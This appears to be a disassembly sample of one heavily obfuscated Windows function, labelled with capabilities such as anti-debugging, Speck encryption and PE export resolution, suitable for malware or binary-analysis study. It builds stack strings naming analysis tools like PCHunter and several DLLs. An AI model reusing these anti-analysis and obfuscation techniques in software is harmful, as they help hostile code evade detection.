Function at 0x62e331
Capabilities:
Authenticate hmac
Encode data using base64
Encrypt data using speck
Execute anti-debugging instructions
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov word [esp + 0x7ee], si
rol si, 0xba
jmp 0x7321e7
mov word [esp + 0x874], si
xadd esi, esi
shld si, bx, 0x2f
mov esi, 0x33
cmp sp, bx
mov word [esp + 0x876], si
test esi, 0x187d288a
sbb esi, 0x4bd34301
mov esi, 0x20
clc
mov word [esp + 0x878], si
mov esi, 0x30
mov word [esp + 0x87a], si
cmp eax, edx
mov word [esp + 0x87c], si
and si, 0x36cc
mov esi, 0x20
cmp dl, 0xad
cmp eax, ebp
jmp 0x7257e9
mov byte [esp + 0x3b9], 0x34
mov byte [esp + 0x3ba], 0x2e
test cx, 0x5d39
clc
test ax, bp
mov byte [esp + 0x3bb], 0x74
mov byte [esp + 0x3bc], 0x78
test cx, dx
mov byte [esp + 0x3bd], 0x74
jmp 0x7c27c0
mov word [esp + 0x7e8], si
jmp 0x7f7d0c
mov word [esp + 0x92a], si
mov esi, 0x36
clc
stc
test cl, 0x81
mov word [esp + 0x92c], si
mov esi, 0x43
cmp cx, cx
stc
mov word [esp + 0x92e], si
mov esi, 0x20
stc
mov word [esp + 0x930], si
mov esi, 0x30
stc
cmp edx, esp
cmc
mov word [esp + 0x932], si
mov word [esp + 0x934], si
mov esi, 0x20
jmp 0x8192cf
mov word [esp + 0x88a], si
movzx esi, ax
bt esi, eax
mov esi, 0x36
test bp, 0x3f5b
cmc
cmp edx, 0x579a5f67
mov word [esp + 0x88c], si
sub si, 0x2988
mov esi, 0x39
mov word [esp + 0x88e], si
sbb si, dx
mov esi, 0x20
mov word [esp + 0x890], si
mov esi, 0x30
test ax, di
cmp cx, 0x5492
mov word [esp + 0x892], si
clc
cmc
mov word [esp + 0x894], si
test ch, ch
xadd si, si
mov esi, 0x20
test sp, 0x3810
clc
mov word [esp + 0x896], si
btc esi, 0x19
mov esi, 0x6c5144e8
or si, si
mov esi, 0x36
mov word [esp + 0x898], si
and esi, 0x474b1223
bt si, cx
mov esi, 0x34
test bp, 0x5dff
stc
mov word [esp + 0x89a], si
mov esi, 0x20
cmp edx, esi
clc
mov word [esp + 0x89c], si
bts esi, ebp
mov esi, 0x30
clc
stc
test dx, si
mov word [esp + 0x89e], si
test ax, sp
mov word [esp + 0x8a0], si
cmp dx, 0x23a9
mov esi, 0x20
stc
cmp ecx, esi
mov word [esp + 0x8a2], si
mov esi, 0x36
test sp, cx
mov word [esp + 0x8a4], si
bts si, si
bts si, ax
mov esi, 0x46
mov word [esp + 0x8a6], si
jmp 0x6e80c5
mov word [esp + 0x8f0], si
mov esi, 0x39
test ebp, 0x25e52c7f
mov word [esp + 0x8f2], si
rcl esi, 0x6a
btr esi, esp
mov esi, 0x20
test ax, cx
cmc
test esp, 0x52fc1f3c
mov word [esp + 0x8f4], si
mov esi, 0x30
cmc
mov word [esp + 0x8f6], si
cmp cx, 0x1b94
cmc
mov word [esp + 0x8f8], si
bswap esi
clc
mov esi, 0x20
mov word [esp + 0x8fa], si
shld esi, esp, 0x70
or si, 0x7911
mov esi, 0x36
cmp ebp, 0x2fc634ec
stc
mov word [esp + 0x8fc], si
adc si, bx
mov esi, 0x45
cmp edi, ecx
mov word [esp + 0x8fe], si
xadd esi, esi
add si, 0x5dd5
btr si, si
mov esi, 0x20
mov word [esp + 0x900], si
or esi, ebx
bswap si
mov esi, 0x30
test ecx, 0x78ec1c8a
mov word [esp + 0x902], si
stc
cmc
cmp esp, 0x12287977
mov word [esp + 0x904], si
mov esi, 0x20
mov word [esp + 0x906], si
shl si, 0xcc
mov esi, 0x32
test ebx, esp
cmc
mov word [esp + 0x908], si
bswap esi
stc
mov esi, 0x45
mov word [esp + 0x90a], si
bt si, bx
movzx esi, bx
mov esi, 0x20
mov word [esp + 0x90c], si
cmovg esi, edi
xadd esi, esi
cmc
mov esi, 0x30
cmc
mov word [esp + 0x90e], si
mov word [esp + 0x910], si
mov esi, 0x20
mov word [esp + 0x912], si
mov esi, 0x36
stc
mov word [esp + 0x914], si
and si, 0x4bd
mov esi, 0x34
test ebp, eax
stc
clc
mov word [esp + 0x916], si
cmovns esi, edx
mov esi, 0x20
mov word [esp + 0x918], si
bswap si
mov esi, 0x30
test bx, 0x5acf
mov word [esp + 0x91a], si
test di, sp
jmp 0x755167
mov byte [esp + 0x4bc], 0x70
mov byte [esp + 0x4bd], 0x63
jmp 0x7b887d
mov word [esp + 0x868], si
dec si
sal si, 0x15
mov esi, 0x46
stc
mov word [esp + 0x86a], si
btr esi, edi
mov esi, 0x20
cmc
cmp bl, dl
mov word [esp + 0x86c], si
mov esi, 0x30
mov word [esp + 0x86e], si
cmc
clc
mov word [esp + 0x870], si
sbb esi, 0x6c7124d7
shrd esi, esi, 0x38
mov esi, 0x20
stc
test eax, 0x1ada465e
mov word [esp + 0x872], si
adc si, 0x4cfe
shld esi, esp, 0x20
mov esi, 0x37
jmp 0x539c11
mov esi, 0x20
mov word [esp + 0x8c0], si
jmp 0x7e6438
call fcn.00474d50
mov eax, dword [0x520628]
xor eax, esp
xchg dl, dl
mov dword [esp + 0x1420], eax
ror al, cl
push ebx
push esi
and dl, 0xd2
shrd eax, edx, 0xae
push edi
shl dl, 0xaf
mov eax, dword [0x520628]
xor eax, esp
sar dl, cl
sal dl, cl
push eax
jmp 0x7d716e
mov word [esp + 0x8cc], si
mov esi, 0x43
test di, 0x7d61
mov word [esp + 0x8ce], si
not esi
mov esi, 0x6f8878c4
mov esi, 0x20
mov word [esp + 0x8d0], si
mov esi, 0x30
test esp, esp
clc
mov word [esp + 0x8d2], si
jmp 0x85326b
mov word [esp + 0x938], si
test dx, 0x7c01
mov word [esp + 0x93a], si
test dh, 0x39
mov esi, 0x20
mov word [esp + 0x93c], si
shr si, 0x3e
xchg si, si
neg esi
mov esi, 0x30
stc
mov word [esp + 0x93e], si
cmp bh, dl
mov word [esp + 0x940], si
stc
sub esi, esi
mov word [esp + 0x942], si
bsf si, bp
rcr si, 0x68
mov esi, 0x38
mov word [esp + 0x7dc], si
mov esi, 0x33
cmp sp, si
mov word [esp + 0x7de], si
mov esi, 0x20
mov word [esp + 0x7e0], si
bts si, dx
mov esi, 0x46
mov word [esp + 0x7e2], si
mov esi, 0x38
cmc
mov word [esp + 0x7e4], si
cmc
bswap si
mov esi, 0x20
mov word [esp + 0x7e6], si
adc esi, esi
mov esi, 0x33
jmp 0x5a0170
mov byte [esp + 0x44c], 0x57
bts si, sp
mov byte [esp + 0x44d], 0x69
adc esi, edx
mov byte [esp + 0x44e], 0x6e
mov byte [esp + 0x44f], 0x64
bts esi, esp
mov byte [esp + 0x450], cl
sub dl, 0xf8
sbb si, 0x556e
mov byte [esp + 0x451], 0x77
mov dl, dl
xor dl, 0xc4
mov byte [esp + 0x452], bl
mov byte [esp + 0x414], 0x43
sub si, si
xor esi, ebp
mov byte [esp + 0x415], 0x68
and si, 0x1ed7
mov byte [esp + 0x416], al
mov byte [esp + 0x417], 0x61
mov byte [esp + 0x418], 0x74
add dl, 0xb7
bswap esi
mov byte [esp + 0x419], 0x20
mov byte [esp + 0x41a], 0x45
mov byte [esp + 0x41b], 0x6e
test ah, 0x19
mov byte [esp + 0x41c], 0x67
mov byte [esp + 0x41d], 0x69
sub dl, 0x6b
dec esi
mov byte [esp + 0x41e], 0x6e
btc si, bx
mov byte [esp + 0x41f], al
mov byte [esp + 0x420], bl
sar dl, cl
rcr dl, cl
mov byte [esp + 0x63c], 0x54
mov byte [esp + 0x63d], 0x56
mov esi, 0x4cf62dd2
cmp sp, dx
mov byte [esp + 0x63e], 0x61
and dl, bl
mov byte [esp + 0x63f], 0x6c
mov byte [esp + 0x640], 0x75
mov byte [esp + 0x641], al
sbb dl, cl
stc
mov byte [esp + 0x642], 0x43
sub dl, al
bts esi, esp
mov byte [esp + 0x643], 0x68
mov byte [esp + 0x644], 0x61
mov byte [esp + 0x645], 0x6e
add dl, 0x1c
test si, ax
mov byte [esp + 0x646], 0x67
mov byte [esp + 0x647], al
mov byte [esp + 0x648], 0x46
test edi, 0x2b790a36
shrd esi, eax, 0x9a
mov byte [esp + 0x649], cl
sal esi, 0xd0
ror esi, 0xa6
mov byte [esp + 0x64a], 0x72
mov byte [esp + 0x64b], 0x6d
test dx, ax
mov byte [esp + 0x64c], bl
ror dl, 0x53
sub dl, 0x69
mov byte [esp + 0x4f8], 0x72
test dl, 0x38
mov byte [esp + 0x4f9], 0x61
setns dl
btr si, di
mov byte [esp + 0x4fa], 0x70
mov byte [esp + 0x4fb], 0x68
bts si, bp
mov si, 0x153c
mov byte [esp + 0x4fc], 0x20
movsx esi, sp
mov byte [esp + 0x4fd], 0x2d
mov byte [esp + 0x4fe], 0x20
xadd si, si
mov byte [esp + 0x4ff], 0x5b
sal dl, 0x4c
bt si, 0x1d
mov byte [esp + 0x500], bl
mov byte [esp + 0x444], 0x2e
mov byte [esp + 0x445], 0x53
rol dl, 0x89
mov byte [esp + 0x446], 0x50
mov byte [esp + 0x447], 0x4b
btr si, 0x11
mov byte [esp + 0x448], 0x58
sub esi, edi
mov byte [esp + 0x449], 0x5d
mov byte [esp + 0x44a], bl
xor esi, 0x38823a30
cmovs esi, ecx
mov byte [esp + 0x4b0], 0x5b
bsr si, cx
rcr esi, 0x41
mov byte [esp + 0x4b1], cl
mov dl, 0x73
sbb si, bp
cmovnp si, si
mov byte [esp + 0x4b2], 0x6e
stc
sal esi, 0x85
mov byte [esp + 0x4b3], 0x68
mov byte [esp + 0x4b4], cl
mov byte [esp + 0x4b5], cl
test ah, bl
test esi, 0x2a766322
mov byte [esp + 0x4b6], 0x6b
adc esi, 0x308f787d
mov byte [esp + 0x4b7], 0x2e
mov byte [esp + 0x4b8], bl
xadd esi, esi
inc si
adc si, 0x3ea9
mov byte [esp + 0x3dc], 0x2e
mov byte [esp + 0x3dd], dl
cmp edx, edx
xor esi, 0x4a13177b
mov byte [esp + 0x3de], al
adc si, bp
bsr si, sp
shl esi, 0x25
mov byte [esp + 0x3df], 0x72
mov byte [esp + 0x3e0], 0x5d
bsr esi, ecx
cmovs esi, ecx
mov byte [esp + 0x3e1], bl
cmc
mov byte [esp + 0x33c], 0x23
sal si, 0xe1
bt esi, esp
xor si, 0x7201
mov byte [esp + 0x33d], 0x33
sbb esi, ebp
xchg si, si
mov byte [esp + 0x33e], 0x32
btc si, bx
mov byte [esp + 0x33f], 0x37
cmc
clc
mov byte [esp + 0x340], 0x37
bt esi, edx
mov byte [esp + 0x341], 0x30
cmovb esi, ebp
and si, 0x3ff1
clc
mov byte [esp + 0x342], bl
bt esi, 0x95
bsf esi, ecx
mov byte [esp + 0x394], 0x43
mov byte [esp + 0x395], cl
jmp 0x772bef
mov esi, 0x20
cmp dx, si
test bl, 0x12
mov word [esp + 0x924], si
add si, bp
mov esi, 0x30
mov word [esp + 0x926], si
cmp cl, 0xfb
mov word [esp + 0x928], si
shrd esi, edx, 0xf1
mov esi, 0x20
test dx, 0x2d35
jmp 0x5a7959
mov byte [esp + 0x30d], al
mov byte [esp + 0x30e], 0x79
cmc
clc
test ecx, eax
mov byte [esp + 0x30f], 0x2e
mov byte [esp + 0x310], 0x64
cmc
mov byte [esp + 0x311], 0x6c
mov byte [esp + 0x312], 0x6c
test esi, ebx
cmp ax, 0x3fa4
mov byte [esp + 0x313], bl
cmc
test esp, 0x14af26c1
mov word [esp + 0x884], si
mov esi, 0x30
jmp 0x8bbcf1
mov esi, 0x20
mov word [esp + 0x8a8], si
xor si, si
bsr esi, edi
mov esi, 0x30
jmp 0x86d2bc
mov word [esp + 0x7ec], si
rcr si, 0xbb
mov esi, 0x37
jmp 0x532f0d
mov word [esp + 0x87e], si
mov esi, 0x36
jmp 0x752abf
mov esi, 0x44
cmp edx, edi
mov word [esp + 0x7f0], si
mov esi, 0x20
cmp dl, cl
test bx, cx
mov word [esp + 0x7f2], si
rcr si, 0x16
btr esi, 6
btc esi, 0xc8
mov esi, 0x33
jmp 0x7486b5
sub esi, esi
clc
cmp ax, bp
cmp edi, 0x595320b8
mov word [esp + 0x8c6], si
rol si, 0xa4
xadd si, si
mov esi, 0x34
cmp ecx, esp
jmp 0x634bec
mov word [esp + 0x7f4], si
or si, 0x2181
and si, 0x4433
adc esi, 0x3e796aee
mov esi, 0x35
cmp bh, 0x1b
cmc
mov word [esp + 0x7f6], si
test esi, esp
stc
xor esi, esi
stc
clc
mov word [esp + 0x7f8], si
mov esi, 0x35
test bp, sp
jmp 0x870584
mov byte [esp + 0x363], 0x4c
shld si, bp, 0x68
mov byte [esp + 0x364], bl
cmp eax, 0x55bc6be0
bts esi, ecx
mov byte [esp + 0x34c], 0x48
mov byte [esp + 0x34d], al
cmc
shld esi, ebp, 0x1c
add esi, 0x62f327c9
mov byte [esp + 0x34e], 0x6c
sal si, 0x85
btr esi, 0xe8
mov byte [esp + 0x34f], 0x70
sub si, 0x133d
mov byte [esp + 0x350], al
rcl si, 0x2e
mov byte [esp + 0x351], 0x72
rol esi, 0x41
xor esi, 0x3ffc6e21
bswap esi
mov byte [esp + 0x352], 0x2e
sub si, 0x4678
mov byte [esp + 0x353], 0x64
sub esi, 0x12d02c8e
mov byte [esp + 0x354], 0x6c
mov byte [esp + 0x355], 0x6c
mov byte [esp + 0x356], bl
sbb esi, 0x42060bb4
btr si, dx
mov byte [esp + 0x2e4], dl
shld si, si, 0x93
dec si
cmp sp, 0x45ec
mov byte [esp + 0x2e5], dl
xchg esi, esi
mov byte [esp + 0x2e6], 0x2e
bswap si
mov byte [esp + 0x2e7], 0x6d
shl esi, 0xb3
mov byte [esp + 0x2e8], 0x70
btc esi, 0xa7
mov byte [esp + 0x2e9], 0x33
mov byte [esp + 0x2ea], bl
mov byte [esp + 0x314], 0x70
rcr esi, 0x9e
mov byte [esp + 0x315], dl
bts si, di
mov byte [esp + 0x316], 0x64
not esi
mov byte [esp + 0x317], 0x2e
mov byte [esp + 0x318], 0x64
jmp 0x85d396
push ebp
btr ebp, 0x2e
mov ebp, esp
movsx ax, al
xchg al, al
and esp, 0xfffffff8
cbw
setns al
mov ax, 0x6513
push 0xffffffffffffffff
not eax
push 0x4e5df8
mov ah, 0x7f
mov eax, dword fs:[0]
push eax
cbw
push ecx
lahf
movsx ax, bh
mov eax, 0x1424
jmp 0x62e331
mov word [esp + 0x880], si
rol si, 0x28
neg esi
mov esi, 0x35
test esi, ebx
cmp di, 0x7622
stc
mov word [esp + 0x882], si
mov esi, 0x20
cmp bx, si
test dx, 0x379e
mov byte [esp + 0x3b5], 0x31
cmc
cmp si, bp
mov byte [esp + 0x3b6], 0x36
clc
stc
mov byte [esp + 0x3b7], 0x33
test ax, sp
stc
clc
mov byte [esp + 0x3b8], 0x38
jmp 0x539cf6
mov word [esp + 0x91c], si
cmc
mov esi, 0x20
cmp dh, 0x40
stc
mov word [esp + 0x91e], si
bsr esi, edx
bswap esi
mov esi, 0x36
mov word [esp + 0x920], si
bsr si, ax
mov esi, 0x43
jmp 0x856e29
mov byte [esp + 0x396], 0x6d
xchg si, si
mov byte [esp + 0x397], 0x62
not si
and si, 0x7bcb
mov byte [esp + 0x398], cl
mov byte [esp + 0x399], 0x4c
sub si, 0x1f84
test bp, 0x4030
mov byte [esp + 0x39a], 0x42
movsx esi, si
mov byte [esp + 0x39b], cl
sbb si, 0x101e
mov byte [esp + 0x39c], 0x78
mov byte [esp + 0x39d], bl
jmp 0x5e2f1e
mov byte [esp + 0x3a9], al
mov byte [esp + 0x3aa], 0x2e
clc
mov byte [esp + 0x3ab], al
cmp bx, 0x6b57
mov byte [esp + 0x3ac], 0x78
cmp di, 0x5b58
clc
mov byte [esp + 0x3ad], al
cmp ecx, 0xd7e2fb3
test edi, 0x38496ac6
cmc
mov byte [esp + 0x3ae], bl
clc
mov byte [esp + 0x30c], 0x4b
stc
cmc
jmp 0x66cbe5
mov byte [esp + 0x4be], 0x68
ror si, 0x89
cmc
sub esi, edi
mov byte [esp + 0x4bf], 0x75
adc esi, eax
mov byte [esp + 0x4c0], 0x6e
inc esi
bswap esi
mov byte [esp + 0x4c1], 0x74
bt esi, 0x84
mov byte [esp + 0x4c2], al
shl esi, 0x2f
mov byte [esp + 0x4c3], 0x72
test bp, 0x4052
bswap esi
mov byte [esp + 0x4c4], bl
mov byte [esp + 0x4ec], 0x50
mov byte [esp + 0x4ed], 0x43
sub si, 0x4c89
shl esi, 9
mov byte [esp + 0x4ee], 0x48
mov byte [esp + 0x4ef], 0x75
bt si, cx
rol esi, 0x33
mov byte [esp + 0x4f0], 0x6e
stc
mov byte [esp + 0x4f1], 0x74
movsx esi, bx
bswap si
mov byte [esp + 0x4f2], al
mov byte [esp + 0x4f3], 0x72
or esi, ebx
inc si
mov byte [esp + 0x4f4], bl
sub esi, 0x77ed1efe
mov byte [esp + 0x40c], 0x54
bsf si, si
not esi
bt esi, 0x8e
mov byte [esp + 0x40d], al
and esi, 0xa4546e
mov byte [esp + 0x40e], dl
or esi, ecx
bswap si
mov byte [esp + 0x40f], 0x6c
cmc
bts esi, esi
btr si, 0x31
mov byte [esp + 0x410], 0x61
mov byte [esp + 0x411], bl
cmp di, 0x51b6
mov byte [esp + 0x3c0], 0x54
mov byte [esp + 0x3c1], 0x68
bsf esi, ebx
mov byte [esp + 0x3c2], 0x75
sbb si, sp
sbb si, 0x6746
mov byte [esp + 0x3c3], 0x6e
test si, sp
mov byte [esp + 0x3c4], 0x64
cmp edx, edi
bt esi, 0x26
mov byte [esp + 0x3c5], al
stc
mov byte [esp + 0x3c6], 0x72
sbb si, bp
movzx esi, dx
neg esi
mov byte [esp + 0x3c7], 0x52
bt esi, 0x8a
bts esi, ecx
mov byte [esp + 0x3c8], 0x54
mov byte [esp + 0x3c9], 0x36
and esi, edi
mov byte [esp + 0x3ca], 0x4d
mov byte [esp + 0x3cb], 0x61
movsx esi, sp
mov byte [esp + 0x3cc], 0x69
and si, cx
mov byte [esp + 0x3cd], 0x6e
bts esi, eax
shrd si, ax, 0xdf
or si, 0x66f1
mov byte [esp + 0x3ce], bl
movzx esi, di
rcr si, 0xa6
mov byte [esp + 0x49c], 0x54
movzx esi, ax
mov byte [esp + 0x49d], 0x68
mov byte [esp + 0x49e], 0x75
cmp dx, di
mov byte [esp + 0x49f], 0x6e
xchg si, si
movsx esi, si
sal si, 0x5e
mov byte [esp + 0x4a0], 0x64
mov esi, 0x2f410c39
mov byte [esp + 0x4a1], al
mov byte [esp + 0x4a2], 0x72
cmc
rol esi, 0x22
mov byte [esp + 0x4a3], 0x52
mov byte [esp + 0x4a4], 0x54
mov byte [esp + 0x4a5], 0x36
bts si, di
bt si, ax
movzx esi, bx
mov byte [esp + 0x4a6], 0x46
adc si, di
mov byte [esp + 0x4a7], cl
movsx esi, ax
shl esi, 0xef
mov byte [esp + 0x4a8], 0x72
adc si, 0x1747
mov byte [esp + 0x4a9], 0x6d
bts esi, edi
mov byte [esp + 0x4aa], 0x44
mov byte [esp + 0x4ab], 0x43
xadd si, si
ror si, 0x46
mov byte [esp + 0x4ac], bl
mov byte [esp + 0x45c], 0x56
btr esi, 0x37
mov byte [esp + 0x45d], 0x42
mov byte [esp + 0x45e], 0x4d
test ax, sp
test dl, 0xd2
mov byte [esp + 0x45f], dl
mov byte [esp + 0x460], cl
dec esi
adc esi, ecx
mov byte [esp + 0x461], 0x53
bsr si, si
mov byte [esp + 0x462], 0x74
or esi, 0x2ecc4973
bsf esi, eax
shr esi, 0x1f
mov byte [esp + 0x463], 0x64
test ax, ax
sbb esi, 0x40d20a8b
mov byte [esp + 0x464], 0x43
inc si
xor si, 0x6a66
xchg esi, esi
mov byte [esp + 0x465], cl
or esi, 0x56555e56
bts si, bx
inc esi
mov byte [esp + 0x466], 0x6d
mov byte [esp + 0x467], 0x70
bts si, bp
dec esi
shr esi, 0x80
mov byte [esp + 0x468], 0x4d
not si
test esp, edx
shld si, bx, 0x16
mov byte [esp + 0x469], 0x67
dec si
cmovbe esi, esi
mov byte [esp + 0x46a], 0x72
movzx esi, bp
not si
mov byte [esp + 0x46b], bl
shl si, 3
btr esi, 0xb9
mov byte [esp + 0x358], 0x4c
btc si, bp
sub si, si
mov byte [esp + 0x359], cl
mov byte [esp + 0x35a], 0x67
movzx esi, bx
or si, sp
mov byte [esp + 0x35b], 0x69
adc esi, esi
clc
mov byte [esp + 0x35c], 0x6e
bsf si, dx
btr si, bx
mov byte [esp + 0x35d], 0x32
mov byte [esp + 0x35e], 0x37
cmp bh, 0x5c
mov byte [esp + 0x35f], 0x30
dec si
xor si, 0x39a8
mov byte [esp + 0x360], 0x2e
mov byte [esp + 0x361], 0x44
or si, bx
add esi, 0x63947cba
mov byte [esp + 0x362], 0x4c
jmp 0x74a44a
mov byte [esp + 0x3be], bl
cmp dl, 0x7e
stc
mov byte [esp + 0x31c], 0x44
mov byte [esp + 0x31d], al
test edi, 0x6a1048a9
stc
mov byte [esp + 0x31e], 0x6d
cmp esp, esp
mov byte [esp + 0x31f], cl
mov byte [esp + 0x320], 0x2e
cmc
stc
mov byte [esp + 0x321], cl
cmp bp, di
mov byte [esp + 0x322], 0x63
cmp eax, 0x7a1a1848
clc
jmp 0x7d6488
mov byte [esp + 0x323], 0x6b
test cl, 0x36
mov byte [esp + 0x324], bl
mov byte [esp + 0x3a0], cl
mov byte [esp + 0x3a1], 0x6c
clc
mov byte [esp + 0x3a2], 0x64
clc
mov byte [esp + 0x3a3], 0x6c
mov byte [esp + 0x3a4], 0x69
cmp di, 0x4d8b
mov byte [esp + 0x3a5], 0x6e
mov byte [esp + 0x3a6], al
cmp ebx, esi
cmp esp, 0x13684bec
mov byte [esp + 0x3a7], 0x61
mov byte [esp + 0x3a8], 0x67
test cx, 0x2911
jmp 0x774afa
lea eax, [esp + 0x1438]
mov dword fs:[0], eax
xor ebx, ebx
btr si, 0x5e
xor dl, 0xe2
stc
mov cl, 0x6f
xor dl, 0x97
bts esi, ebp
test esp, 0x335b6ffd
mov al, 0x6a
mov byte [esp + 0x38f], al
mov byte [esp + 0x4d6], al
bsr esi, edx
mov byte [esp + 0x496], al
cmp bl, 0xc0
mov al, 0x65
mov byte [esp + 0x38c], 0x5f
bsr si, bp
mov byte [esp + 0x38d], cl
mov byte [esp + 0x38e], 0x62
clc
bts esi, esi
mov byte [esp + 0x390], bl
dec dl
mov byte [esp + 0x4d4], cl
cmovnp esi, ecx
sal dl, 0x46
mov byte [esp + 0x4d5], 0x62
xor dl, 0x3a
mov byte [esp + 0x4d7], 0x5f
sal dl, 0x30
mov byte [esp + 0x4d8], 0x66
test bx, si
mov byte [esp + 0x4d9], cl
mov byte [esp + 0x4da], 0x72
btr esi, ebp
mov dl, 0xcd
cmp bx, si
mov byte [esp + 0x4db], 0x6d
shr dl, 0xc7
shl dl, cl
sub esi, 0x79bc3c53
mov byte [esp + 0x4dc], bl
rol dl, cl
xadd si, si
mov byte [esp + 0x494], cl
btc si, dx
mov byte [esp + 0x495], 0x62
mov byte [esp + 0x497], 0x5f
mov dl, 0x55
mov byte [esp + 0x498], 0x61
shl dl, cl
mov byte [esp + 0x499], 0x70
inc si
mov byte [esp + 0x49a], 0x70
mov byte [esp + 0x49b], bl
test esp, edi
bsr esi, ebp
jmp 0x64712c
mov word [esp + 0x8e8], si
bt esi, edi
mov esi, 0x30
mov word [esp + 0x8ea], si
cmc
cmp eax, edi
mov word [esp + 0x8ec], si
xor si, di
neg si
sbb si, dx
mov esi, 0x20
mov word [esp + 0x8ee], si
sal si, 0x19
mov esi, 0x36
jmp 0x5d6fed
mov esi, 0x30
mov word [esp + 0x8c2], si
mov word [esp + 0x8c4], si
jmp 0x7474da
mov esi, 0x37
test ah, 0xce
mov word [esp + 0x7ea], si
mov esi, 0x20
clc
jmp 0x6fa7d1
mov word [esp + 0x936], si
mov esi, 0x30
cmp dl, ah
test bx, ax
jmp 0x6391e6
mov word [esp + 0x864], si
bsf si, ax
or esi, edi
mov esi, 0x20
mov word [esp + 0x866], si
stc
dec esi
mov esi, 0x36
cmp esp, 0x4adc4815
jmp 0x601c8e
mov word [esp + 0x8d4], si
test dx, cx
adc esi, 0x31f30952
movsx esi, ax
mov esi, 0x20
stc
mov word [esp + 0x8d6], si
btr esi, 0x81
mov esi, 0x36
cmp bp, sp
cmc
mov word [esp + 0x8d8], si
mov esi, 0x46
cmp di, 0x68c6
mov word [esp + 0x8da], si
shl si, 0x1e
movzx esi, cx
mov esi, 0x20
cmp esp, ebp
mov word [esp + 0x8dc], si
btr esi, ecx
add esi, 0x2b265eb3
mov esi, 0x30
test edi, 0x7dc07318
clc
mov word [esp + 0x8de], si
stc
test edi, 0x41d60154
mov word [esp + 0x8e0], si
mov esi, 0x20
cmc
cmp sp, 0x439c
mov word [esp + 0x8e2], si
mov esi, 0x4b644701
mov esi, 0x36
mov word [esp + 0x8e4], si
bt si, 0x30
mov esi, 0x37
cmc
mov word [esp + 0x8e6], si
mov esi, 0x20
stc
jmp 0x7e2b45
mov word [esp + 0x922], si
jmp 0x65b55c
mov byte [esp + 0x319], 0x6c
and si, si
xor esi, 0x316e5050
and esi, 0x2f1b75e0
mov byte [esp + 0x31a], 0x6c
neg esi
mov byte [esp + 0x31b], bl
mov byte [esp + 0x304], 0x4f
sub si, sp
mov byte [esp + 0x305], 0x43
shl esi, 2
mov byte [esp + 0x306], 0x52
mov byte [esp + 0x307], 0x2e
shld si, si, 0xc7
rol si, 0xc8
bsr esi, edi
mov byte [esp + 0x308], 0x64
btr esi, esi
bt si, 0xb8
mov byte [esp + 0x309], 0x6c
mov byte [esp + 0x30a], 0x6c
mov byte [esp + 0x30b], bl
adc esi, 0x350b6d5d
btr si, 0x88
mov byte [esp + 0x2dc], dl
xadd esi, esi
adc esi, ebx
mov byte [esp + 0x2dd], dl
neg si
xor si, 0x24eb
mov byte [esp + 0x2de], 0x2e
or esi, 0x58744929
xor esi, 0x44fa27b6
mov byte [esp + 0x2df], 0x64
mov byte [esp + 0x2e0], 0x6c
mov byte [esp + 0x2e1], 0x6c
mov byte [esp + 0x2e2], bl
clc
sar esi, 0x7b
sub esi, 0x59a745f5
mov byte [esp + 0x3b0], 0x6d
test si, bp
mov byte [esp + 0x3b1], 0x61
add esi, 0x3cde0d06
mov byte [esp + 0x3b2], 0x70
xchg si, si
or esi, edx
rol esi, 0x47
mov byte [esp + 0x3b3], dl
sar si, 0xd6
sbb esi, 0x6ce90e8e
mov byte [esp + 0x3b4], 0x5c
mov esi, 0x35
cmp si, 0x4d3e
mov word [esp + 0x85c], si
shr esi, 0x42
movzx esi, dx
mov esi, 0x30
mov word [esp + 0x85e], si
xor si, 0x2443
sbb si, bx
mov esi, 0x20
clc
mov word [esp + 0x860], si
cmc
sar esi, 0x9a
mov esi, 0x30
test edx, 0x58671d50
mov word [esp + 0x862], si
test bp, si
cmp al, dl
jmp 0x823de4
mov word [esp + 0x8aa], si
mov word [esp + 0x8ac], si
btr si, 0x89
mov esi, 0x20
test sp, 0x679c
mov word [esp + 0x8ae], si
cmp eax, ecx
rcr si, 0x36
sub esi, 0x6e867b05
mov esi, 0x36
stc
clc
mov word [esp + 0x8b0], si
dec esi
mov esi, 0x45
mov word [esp + 0x8b2], si
mov esi, 0x20
cmp edx, ecx
stc
cmc
mov word [esp + 0x8b4], si
bt esi, eax
xchg esi, esi
mov esi, 0x30
mov word [esp + 0x8b6], si
stc
test esp, ecx
cmc
mov word [esp + 0x8b8], si
mov esi, 0x20
mov word [esp + 0x8ba], si
shl si, 0x25
mov esi, 0x30
cmp si, bx
cmp edi, 0x31de1183
mov word [esp + 0x8bc], si
cmc
clc
mov word [esp + 0x8be], si
jmp 0x61ff32
mov word [esp + 0x7fc], si
mov esi, 0x43
mov word [esp + 0x7fe], si
and esi, esi
mov esi, 0x20
cmp dx, sp
stc
clc
mov word [esp + 0x800], si
sbb esi, 0x3741294c
mov esi, 0x30
cmc
mov word [esp + 0x802], si
stc
cmp dx, 0x6d7e
mov word [esp + 0x804], si
dec esi
test bp, si
mov esi, 0x20
test edi, ecx
mov word [esp + 0x806], si
shl esi, 0x8b
jmp loc.004114d3
mov word [esp + 0x886], si
mov word [esp + 0x888], si
bsf si, bp
mov esi, 0x20
cmp sp, 0x202
jmp 0x5b29bc